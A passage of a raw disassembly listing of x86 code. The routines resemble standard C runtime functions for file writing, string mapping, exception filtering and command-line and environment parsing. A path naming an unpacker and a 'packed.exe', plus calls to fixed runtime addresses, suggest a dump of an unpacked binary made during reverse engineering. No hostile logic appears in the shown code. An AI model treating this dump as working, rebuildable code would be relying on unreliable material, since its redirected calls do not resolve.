cmp eax, [ebp+var_4]
jnz short loc_4228D1
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_4228BC: ; CODE XREF: sub_4227C5+104j
cmp eax, ecx
jnb short loc_4228CB
cmp byte ptr [eax], 0Ah
jnz short loc_4228C8
inc [ebp+arg_0]
loc_4228C8: ; CODE XREF: sub_4227C5+FEj
inc eax
jmp short loc_4228BC
; ---------------------------------------------------------------------------
loc_4228CB: ; CODE XREF: sub_4227C5+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_422905
; ---------------------------------------------------------------------------
loc_4228D1: ; CODE XREF: sub_4227C5+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_42272B
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_4228F8
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_4228F8
test ch, 4
jz short loc_4228FB
loc_4228F8: ; CODE XREF: sub_4227C5+124j
; sub_4227C5+12Cj
mov eax, [edi+18h]
loc_4228FB: ; CODE XREF: sub_4227C5+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_422905: ; CODE XREF: sub_4227C5+10Aj
jz short loc_42290A
inc [ebp+arg_0]
loc_42290A: ; CODE XREF: sub_4227C5+D9j
; sub_4227C5:loc_422905j
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_422910: ; CODE XREF: sub_4227C5+A4j
; sub_4227C5+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_422918: ; CODE XREF: sub_4227C5+3Cj
; sub_4227C5+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_4227C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42291D proc near ; CODE XREF: sub_41D2B4+A2p
; sub_41DB8B+2Cp ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_4DCDA0
push esi
push edi
jnb loc_422AB1
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DCCA0h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_422AB1
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_42296E
loc_422967: ; CODE XREF: sub_42291D+177j
xor eax, eax
jmp loc_422AC5
; ---------------------------------------------------------------------------
loc_42296E: ; CODE XREF: sub_42291D+48j
test al, 20h
jz short loc_42297E
push 2
push edi
push ecx
call sub_42272B
add esp, 0Ch
loc_42297E: ; CODE XREF: sub_42291D+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_422A4D
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_422A85
loc_42299E: ; CODE XREF: sub_42291D+F5j
lea eax, [ebp+var_414]
loc_4229A4: ; CODE XREF: sub_42291D+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_4229D8
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_4229C3
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_4229C3: ; CODE XREF: sub_42291D+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_4229A4
loc_4229D8: ; CODE XREF: sub_42291D+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
nop
call near ptr 26F0000h
test eax, eax
jz short loc_422A42
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_422A14
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_42299E
loc_422A14: ; CODE XREF: sub_42291D+EAj
; sub_42291D+12Ej
xor edi, edi
loc_422A16: ; CODE XREF: sub_42291D+150j
; sub_42291D+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_422AAC
cmp [ebp+arg_0], edi
jz short loc_422A85
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_422A7A
mov dword_4DB958, 9
mov dword_4DB95C, eax
jmp loc_422AC2
; ---------------------------------------------------------------------------
loc_422A42: ; CODE XREF: sub_42291D+E0j
nop
call near ptr 2680ABEh
mov [ebp+arg_0], eax
jmp short loc_422A14
; ---------------------------------------------------------------------------
loc_422A4D: ; CODE XREF: sub_42291D+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
nop
call near ptr 26F0000h
test eax, eax
jz short loc_422A6F
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_422A16
; ---------------------------------------------------------------------------
loc_422A6F: ; CODE XREF: sub_42291D+145j
nop
call near ptr 2680ABEh
mov [ebp+arg_0], eax
jmp short loc_422A16
; ---------------------------------------------------------------------------
loc_422A7A: ; CODE XREF: sub_42291D+10Fj
push [ebp+arg_0]
call sub_4203DF
pop ecx
jmp short loc_422AC2
; ---------------------------------------------------------------------------
loc_422A85: ; CODE XREF: sub_42291D+7Bj
; sub_42291D+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_422A9A
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_422967
loc_422A9A: ; CODE XREF: sub_42291D+16Fj
mov dword_4DB958, 1Ch
mov dword_4DB95C, edi
jmp short loc_422AC2
; ---------------------------------------------------------------------------
loc_422AAC: ; CODE XREF: sub_42291D+FEj
sub eax, [ebp+var_10]
jmp short loc_422AC5
; ---------------------------------------------------------------------------
loc_422AB1: ; CODE XREF: sub_42291D+15j
; sub_42291D+37j
and dword_4DB95C, 0
mov dword_4DB958, 9
loc_422AC2: ; CODE XREF: sub_42291D+120j
; sub_42291D+166j ...
or eax, 0FFFFFFFFh
loc_422AC5: ; CODE XREF: sub_42291D+4Cj
; sub_42291D+192j
pop edi
pop esi
pop ebx
leave
retn
sub_42291D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422ACA proc near ; CODE XREF: sub_41D5AA+47p
; sub_41D5AA+74p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427940
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_4DBA2C, edi
jnz short loc_422B40
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_427938
mov esi, 100h
push esi
push edi
nop
call near ptr 2640000h
test eax, eax
jz short loc_422B1E
mov dword_4DBA2C, ebx
jmp short loc_422B40
; ---------------------------------------------------------------------------
loc_422B1E: ; CODE XREF: sub_422ACA+4Aj
push edi
push edi
push ebx
push offset dword_4CB50C
push esi
push edi
nop
call near ptr 2650000h
test eax, eax
jz loc_422C58
mov dword_4DBA2C, 2
loc_422B40: ; CODE XREF: sub_422ACA+2Ej
; sub_422ACA+52j
cmp [ebp+arg_C], edi
jle short loc_422B55
push [ebp+arg_C]
push [ebp+arg_8]
call sub_426180
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_422B55: ; CODE XREF: sub_422ACA+79j
mov eax, dword_4DBA2C
cmp eax, 2
jnz short loc_422B7C
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2650000h
jmp loc_422C5A
; ---------------------------------------------------------------------------
loc_422B7C: ; CODE XREF: sub_422ACA+93j
cmp eax, 1
jnz loc_422C58
cmp [ebp+arg_18], edi
jnz short loc_422B92
mov eax, dword_4DBA24
mov [ebp+arg_18], eax
loc_422B92: ; CODE XREF: sub_422ACA+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
nop
call near ptr 2810000h
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_422C58
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_422BED
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_422BED: ; CODE XREF: sub_422ACA+10Ej
cmp [ebp+var_24], edi
jz short loc_422C58
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
nop
call near ptr 2810000h
test eax, eax
jz short loc_422C58
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 2640000h
nop
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_422C58
test byte ptr [ebp+arg_4+1], 4
jz short loc_422C6C
cmp [ebp+arg_14], edi
jz loc_422CE7
cmp esi, [ebp+arg_14]
jg short loc_422C58
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 2640000h
nop
test eax, eax
jnz loc_422CE7
loc_422C58: ; CODE XREF: sub_422ACA+66j
; sub_422ACA+B5j ...
xor eax, eax
loc_422C5A: ; CODE XREF: sub_422ACA+ADj
; sub_422ACA+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_422C6C: ; CODE XREF: sub_422ACA+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_422CA0
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_422CA0: ; CODE XREF: sub_422ACA+1C2j
cmp ebx, edi
jz short loc_422C58
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 2640000h
nop
test eax, eax
jz short loc_422C58
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_422CC7
push edi
push edi
jmp short loc_422CCD
; ---------------------------------------------------------------------------
loc_422CC7: ; CODE XREF: sub_422ACA+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_422CCD: ; CODE XREF: sub_422ACA+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
nop
call near ptr 280105Fh
mov esi, eax
cmp esi, edi
jz loc_422C58
loc_422CE7: ; CODE XREF: sub_422ACA+165j
; sub_422ACA+188j
mov eax, esi
jmp loc_422C5A
sub_422ACA endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push dword ptr [ebp+8]
call sub_422E2F
test eax, eax
pop ecx
jz loc_422E23
mov ebx, [eax+8]
test ebx, ebx
jz loc_422E23
cmp ebx, 5
jnz short loc_422D1F
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_422E2C
; ---------------------------------------------------------------------------
loc_422D1F: ; CODE XREF: ___:00422D11j
cmp ebx, 1
jz loc_422E1E
mov ecx, dword_4DBA30
mov [ebp+8], ecx
mov ecx, [ebp+0Ch]
mov dword_4DBA30, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_422E0E
mov ecx, dword_43D020
mov edx, dword_43D024
add edx, ecx
push esi
cmp ecx, edx
jge short loc_422D6E
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:43CFB0h[esi*4]
loc_422D65: ; CODE XREF: ___:00422D6Cj
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_422D65
loc_422D6E: ; CODE XREF: ___:00422D57j
mov eax, [eax]
mov esi, dword_43D02C
cmp eax, 0C000008Eh
jnz short loc_422D89
mov dword_43D02C, 83h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422D89: ; CODE XREF: ___:00422D7Bj
cmp eax, 0C0000090h
jnz short loc_422D9C
mov dword_43D02C, 81h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422D9C: ; CODE XREF: ___:00422D8Ej
cmp eax, 0C0000091h
jnz short loc_422DAF
mov dword_43D02C, 84h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422DAF: ; CODE XREF: ___:00422DA1j
cmp eax, 0C0000093h
jnz short loc_422DC2
mov dword_43D02C, 85h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422DC2: ; CODE XREF: ___:00422DB4j
cmp eax, 0C000008Dh
jnz short loc_422DD5
mov dword_43D02C, 82h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422DD5: ; CODE XREF: ___:00422DC7j
cmp eax, 0C000008Fh
jnz short loc_422DE8
mov dword_43D02C, 86h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422DE8: ; CODE XREF: ___:00422DDAj
cmp eax, 0C0000092h
jnz short loc_422DF9
mov dword_43D02C, 8Ah
loc_422DF9: ; CODE XREF: ___:00422D87j
; ___:00422D9Aj ...
push dword_43D02C
push 8
call ebx
pop ecx
mov dword_43D02C, esi
pop ecx
pop esi
jmp short loc_422E16
; ---------------------------------------------------------------------------
loc_422E0E: ; CODE XREF: ___:00422D40j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_422E16: ; CODE XREF: ___:00422E0Cj
mov eax, [ebp+8]
mov dword_4DBA30, eax
loc_422E1E: ; CODE XREF: ___:00422D22j
or eax, 0FFFFFFFFh
jmp short loc_422E2C
; ---------------------------------------------------------------------------
loc_422E23: ; CODE XREF: ___:00422CFDj
; ___:00422D08j
push dword ptr [ebp+0Ch]
nop
call near ptr 2630000h
loc_422E2C: ; CODE XREF: ___:00422D1Aj
; ___:00422E21j
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_422E2F proc near ; CODE XREF: ___:00422CF5p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43D028
cmp dword_43CFA8, edx
push esi
mov eax, offset dword_43CFA8
jz short loc_422E5C
lea esi, [ecx+ecx*2]
lea esi, ds:43CFA8h[esi*4]
loc_422E51: ; CODE XREF: sub_422E2F+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_422E5C
cmp [eax], edx
jnz short loc_422E51
loc_422E5C: ; CODE XREF: sub_422E2F+16j
; sub_422E2F+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43CFA8h[ecx*4]
cmp eax, ecx
jnb short loc_422E6F
cmp [eax], edx
jz short locret_422E71
loc_422E6F: ; CODE XREF: sub_422E2F+3Aj
xor eax, eax
locret_422E71: ; CODE XREF: sub_422E2F+3Ej
retn
sub_422E2F endp
; ---------------------------------------------------------------------------
cmp dword_4DCFF4, 0
jnz short loc_422E80
call sub_42026D
loc_422E80: ; CODE XREF: ___:00422E79j
push esi
mov esi, dword_4DCFEC
mov al, [esi]
cmp al, 22h
jnz short loc_422EB2
loc_422E8D: ; CODE XREF: ___:00422EA5j
; ___:00422EA8j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_422EAA
test al, al
jz short loc_422EAA
movzx eax, al
push eax
call sub_424D36
test eax, eax
pop ecx
jz short loc_422E8D
inc esi
jmp short loc_422E8D
; ---------------------------------------------------------------------------
loc_422EAA: ; CODE XREF: ___:00422E93j
; ___:00422E97j
cmp byte ptr [esi], 22h
jnz short loc_422EBC
loc_422EAF: ; CODE XREF: ___:00422EC4j
inc esi
jmp short loc_422EBC
; ---------------------------------------------------------------------------
loc_422EB2: ; CODE XREF: ___:00422E8Bj
cmp al, 20h
jbe short loc_422EBC
loc_422EB6: ; CODE XREF: ___:00422EBAj
inc esi
cmp byte ptr [esi], 20h
ja short loc_422EB6
loc_422EBC: ; CODE XREF: ___:00422EADj
; ___:00422EB0j ...
mov al, [esi]
test al, al
jz short loc_422EC6
cmp al, 20h
jbe short loc_422EAF
loc_422EC6: ; CODE XREF: ___:00422EC0j
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
push ebx
xor ebx, ebx
cmp dword_4DCFF4, ebx
push esi
push edi
jnz short loc_422EDC
call sub_42026D
loc_422EDC: ; CODE XREF: ___:00422ED5j
mov esi, dword_4DB9C8
xor edi, edi
loc_422EE4: ; CODE XREF: ___:00422EFAj
mov al, [esi]
cmp al, bl
jz short loc_422EFC
cmp al, 3Dh
jz short loc_422EEF
inc edi
loc_422EEF: ; CODE XREF: ___:00422EECj
push esi
call sub_41AFE0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_422EE4
; ---------------------------------------------------------------------------
loc_422EFC: ; CODE XREF: ___:00422EE8j
lea eax, ds:4[edi*4]
push eax
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_4DB980, esi
jnz short loc_422F1E
push 9
call sub_41DA29
pop ecx
loc_422F1E: ; CODE XREF: ___:00422F14j
mov edi, dword_4DB9C8
cmp [edi], bl
jz short loc_422F61
push ebp
loc_422F29: ; CODE XREF: ___:00422F5Ej
push edi
call sub_41AFE0
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_422F5A
push ebp
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_422F4D
push 9
call sub_41DA29
pop ecx
loc_422F4D: ; CODE XREF: ___:00422F43j
push edi
push dword ptr [esi]
call sub_41BEB0
pop ecx
add esi, 4
pop ecx
loc_422F5A: ; CODE XREF: ___:00422F36j
add edi, ebp
cmp [edi], bl
jnz short loc_422F29
pop ebp
loc_422F61: ; CODE XREF: ___:00422F26j
push dword_4DB9C8
call sub_41B0B1
pop ecx
mov dword_4DB9C8, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_4DCFF0, 1
pop ebx
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_4DCFF4, ebx
push esi
push edi
jnz short loc_422F9A
call sub_42026D
loc_422F9A: ; CODE XREF: ___:00422F93j
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
call near ptr 2670000h
nop
mov eax, dword_4DCFEC
mov off_4DB990, esi
mov edi, esi
cmp [eax], bl
jz short loc_422FBF
mov edi, eax
loc_422FBF: ; CODE XREF: ___:00422FBBj
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
push ebx
push ebx
push edi
call sub_42301C
mov eax, [ebp-8]
mov ecx, [ebp-4]
lea eax, [eax+ecx*4]
push eax
call sub_41B4D5
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_422FEF
push 8
call sub_41DA29
pop ecx
loc_422FEF: ; CODE XREF: ___:00422FE5j
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
mov eax, [ebp-4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_42301C
mov eax, [ebp-4]
add esp, 14h
dec eax
mov dword_4DB978, esi
pop edi
pop esi
mov dword_4DB974, eax
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42301C proc near ; CODE XREF: ___:00422FCAp
; ___:00423000p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_423046
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_423046: ; CODE XREF: sub_42301C+20j
cmp byte ptr [eax], 22h
jnz short loc_42308F
loc_42304B: ; CODE XREF: sub_42301C+58j
; sub_42301C+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_42307D
test dl, dl
jz short loc_42307D
movzx edx, dl
test byte_4DCEC1[edx], 4
jz short loc_423070
inc dword ptr [ecx]
test esi, esi
jz short loc_423070
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_423070: ; CODE XREF: sub_42301C+46j
; sub_42301C+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_42304B
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_42304B
; ---------------------------------------------------------------------------
loc_42307D: ; CODE XREF: sub_42301C+36j
; sub_42301C+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_423087
and byte ptr [esi], 0
inc esi
loc_423087: ; CODE XREF: sub_42301C+65j
cmp byte ptr [eax], 22h
jnz short loc_4230D2
inc eax
jmp short loc_4230D2
; ---------------------------------------------------------------------------
loc_42308F: ; CODE XREF: sub_42301C+2Dj
; sub_42301C+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_42309A
mov dl, [eax]
mov [esi], dl
inc esi
loc_42309A: ; CODE XREF: sub_42301C+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_4DCEC1[ebx], 4
jz short loc_4230B5
inc dword ptr [ecx]
test esi, esi
jz short loc_4230B4
mov bl, [eax]
mov [esi], bl
inc esi
loc_4230B4: ; CODE XREF: sub_42301C+91j
inc eax
loc_4230B5: ; CODE XREF: sub_42301C+8Bj
cmp dl, 20h
jz short loc_4230C3
test dl, dl
jz short loc_4230C7
cmp dl, 9
jnz short loc_42308F
loc_4230C3: ; CODE XREF: sub_42301C+9Cj
test dl, dl
jnz short loc_4230CA
loc_4230C7: ; CODE XREF: sub_42301C+A0j
dec eax
jmp short loc_4230D2
; ---------------------------------------------------------------------------
loc_4230CA: ; CODE XREF: sub_42301C+A9j
test esi, esi
jz short loc_4230D2
and byte ptr [esi-1], 0
loc_4230D2: ; CODE XREF: sub_42301C+6Ej
; sub_42301C+71j ...
and [ebp+arg_10], 0
loc_4230D6: ; CODE XREF: sub_42301C+19Ej
cmp byte ptr [eax], 0
jz loc_4231BF
loc_4230DF: ; CODE XREF: sub_42301C+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_4230EB
cmp dl, 9
jnz short loc_4230EE
loc_4230EB: ; CODE XREF: sub_42301C+C8j
inc eax
jmp short loc_4230DF
; ---------------------------------------------------------------------------
loc_4230EE: ; CODE XREF: sub_42301C+CDj
cmp byte ptr [eax], 0
jz loc_4231BF
test edi, edi
jz short loc_423103
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_423103: ; CODE XREF: sub_42301C+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_423108: ; CODE XREF: sub_42301C+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_423111: ; CODE XREF: sub_42301C+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_42311A
inc eax
inc ebx
jmp short loc_423111
; ---------------------------------------------------------------------------
loc_42311A: ; CODE XREF: sub_42301C+F8j
cmp byte ptr [eax], 22h
jnz short loc_42314B
test bl, 1
jnz short loc_423149
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_423138
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_423138
mov eax, edx
jmp short loc_42313B
; ---------------------------------------------------------------------------
loc_423138: ; CODE XREF: sub_42301C+10Dj
; sub_42301C+116j
mov [ebp+arg_0], edi
loc_42313B: ; CODE XREF: sub_42301C+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_423149: ; CODE XREF: sub_42301C+106j
shr ebx, 1
loc_42314B: ; CODE XREF: sub_42301C+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_423160
inc ebx
loc_423153: ; CODE XREF: sub_42301C+142j
test esi, esi
jz short loc_42315B
mov byte ptr [esi], 5Ch
inc esi
loc_42315B: ; CODE XREF: sub_42301C+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_423153
loc_423160: ; CODE XREF: sub_42301C+134j
mov dl, [eax]
test dl, dl
jz short loc_4231B0
cmp [ebp+arg_10], 0
jnz short loc_423176
cmp dl, 20h
jz short loc_4231B0
cmp dl, 9
jz short loc_4231B0
loc_423176: ; CODE XREF: sub_42301C+14Ej
cmp [ebp+arg_0], 0
jz short loc_4231AA
test esi, esi
jz short loc_423199
movzx ebx, dl
test byte_4DCEC1[ebx], 4
jz short loc_423192
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_423192: ; CODE XREF: sub_42301C+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_4231A8
; ---------------------------------------------------------------------------
loc_423199: ; CODE XREF: sub_42301C+162j
movzx edx, dl
test byte_4DCEC1[edx], 4
jz short loc_4231A8
inc eax
inc dword ptr [ecx]
loc_4231A8: ; CODE XREF: sub_42301C+17Bj
; sub_42301C+187j
inc dword ptr [ecx]
loc_4231AA: ; CODE XREF: sub_42301C+15Ej
inc eax
jmp loc_423108
; ---------------------------------------------------------------------------
loc_4231B0: ; CODE XREF: sub_42301C+148j
; sub_42301C+153j ...
test esi, esi
jz short loc_4231B8
and byte ptr [esi], 0
inc esi
loc_4231B8: ; CODE XREF: sub_42301C+196j
inc dword ptr [ecx]
jmp loc_4230D6
; ---------------------------------------------------------------------------
loc_4231BF: ; CODE XREF: sub_42301C+BDj
; sub_42301C+D5j
test edi, edi
jz short loc_4231C6
and dword ptr [edi], 0
loc_4231C6: ; CODE XREF: sub_42301C+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_42301C endp
; ---------------------------------------------------------------------------
push ecx
push ecx
mov eax, dword_4DBB38
push ebx
push ebp
mov ebp, dword_42703C
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_42321E
call ebp
mov esi, eax
cmp esi, ebx
jz short loc_4231FF
mov dword_4DBB38, 1
jmp short loc_423227
; ---------------------------------------------------------------------------
loc_4231FF: ; CODE XREF: ___:004231F1j
nop
call near ptr 2620A4Fh
mov edi, eax
cmp edi, ebx
jz loc_4232F9
mov dword_4DBB38, 2
jmp loc_4232AD
; ---------------------------------------------------------------------------
loc_42321E: ; CODE XREF: ___:004231E9j
cmp eax, 1
jnz loc_4232A8
loc_423227: ; CODE XREF: ___:004231FDj
cmp esi, ebx
jnz short loc_423237
call ebp
mov esi, eax
cmp esi, ebx
jz loc_4232F9
loc_423237: ; CODE XREF: ___:00423229j
cmp [esi], bx
mov eax, esi
jz short loc_42324C
loc_42323E: ; CODE XREF: ___:00423243j
; ___:0042324Aj
inc eax
inc eax
cmp [eax], bx
jnz short loc_42323E
inc eax
inc eax
cmp [eax], bx
jnz short loc_42323E
loc_42324C: ; CODE XREF: ___:0042323Cj
sub eax, esi
mov edi, dword_42717C
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+34h], eax
call edi
mov ebp, eax
cmp ebp, ebx
jz short loc_42329D
push ebp
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [esp+10h], eax
jz short loc_42329D
push ebx
push ebx
push ebp
push eax
push dword ptr [esp+24h]
push esi
push ebx
push ebx
call edi
test eax, eax
jnz short loc_423299
push dword ptr [esp+10h]
call sub_41B0B1
pop ecx
mov [esp+10h], ebx
loc_423299: ; CODE XREF: ___:00423289j
mov ebx, [esp+10h]
loc_42329D: ; CODE XREF: ___:00423269j
; ___:00423278j
push esi
nop
call near ptr 2620C4Fh
mov eax, ebx
jmp short loc_4232FB
; ---------------------------------------------------------------------------
loc_4232A8: ; CODE XREF: ___:00423221j
cmp eax, 2
jnz short loc_4232F9
loc_4232AD: ; CODE XREF: ___:00423219j
cmp edi, ebx
jnz short loc_4232BD
nop
call near ptr 2620A4Fh
mov edi, eax
cmp edi, ebx
jz short loc_4232F9
loc_4232BD: ; CODE XREF: ___:004232AFj
cmp [edi], bl
mov eax, edi
jz short loc_4232CD
loc_4232C3: ; CODE XREF: ___:004232C6j
; ___:004232CBj
inc eax
cmp [eax], bl
jnz short loc_4232C3
inc eax
cmp [eax], bl
jnz short loc_4232C3
loc_4232CD: ; CODE XREF: ___:004232C1j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_41B4D5
